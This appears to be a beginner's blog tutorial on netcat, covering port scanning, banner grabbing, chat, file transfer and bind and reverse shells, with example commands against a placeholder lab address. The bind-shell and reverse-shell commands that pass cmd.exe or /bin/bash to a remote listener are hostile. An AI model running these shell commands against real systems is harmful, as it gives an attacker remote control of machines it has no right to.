Hello Everyone, hope you doing well and safe. As I am writing posts after a long time, I simply thought that let’s start things from basics. So in this post, we are going to talk about the initial use of one of the most popular tool named netcat.

Netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP. It’s a swiss army knife for security professionals. We can use it on different platforms, use it for different purposes.

-Port Scanning
-Banner Grabbing
-Simple Chat
-File Transfer
-Get bind and Reverse shell

-Port Scanning
Instead of Nmap or any other port scanners, we can use Netcat, define the specific port number, or specify port range.

#nc -zv 192.168.1.X 80       //for single port 
#nc -zv 192.168.1.X 1-100   //for range of ports 1-100 

-Banner Grabbing
Getting a software version of any service is very important for pentesting, attacker can search for exploits related to a specific version.

#nc -nv 192.168.1.x 21 //where we can specify any port number as well as we can connect with specific service running on port if we have valid credentials.

-Chat Server
Netcat is also used to do chat between two systems or two different users.
First, start listener using netcat on windows system, and connect to that specific port via kali.

#nc -lvp 4444

#nc -nv 192.168.1.X 4444

-File Transfer using Netcat
By using netcat user can also transfer files between two systems.

#nc -lvp 5555 > incoming.txt
#nc -nv 192.168.1.X 5555 < file.txt

-Bind shell using Netcat
Bind shell is a type of shell in which attackers try to connect to the victim’s open port. that means a listener on the victim machine and waits for an incoming connection, then the attacker connects to the victim machine’s listener which leads to remote code execution.

#nc -lvp 4444 -e cmd.exe
#nc -nv 192.168.1.X 4444

-Reverse shell using Netcat
A reverse shell is a type of shell used by most security professionals and hackers too. In this shell attacker start listener and the victim connect itself to the attacker.

#nc -lvp 4444
#nc -nv 192.168.1.X 4444 -e /bin/bash 

Hope, it will be useful for beginners who tried to start things into cyber security/hacking field. Have a look on other posts and stay safe.


Please enter your comment!
Please enter your name here